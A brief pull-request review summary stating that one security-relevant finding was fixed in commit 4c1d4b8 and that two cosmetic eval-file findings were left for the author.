Only finding 1 carries a security dimension and it is fixed on 4c1d4b8. Findings 2 and 3 are cosmetic eval-file tweaks intentionally left for the author under a conservative posture on an already-"done" PR.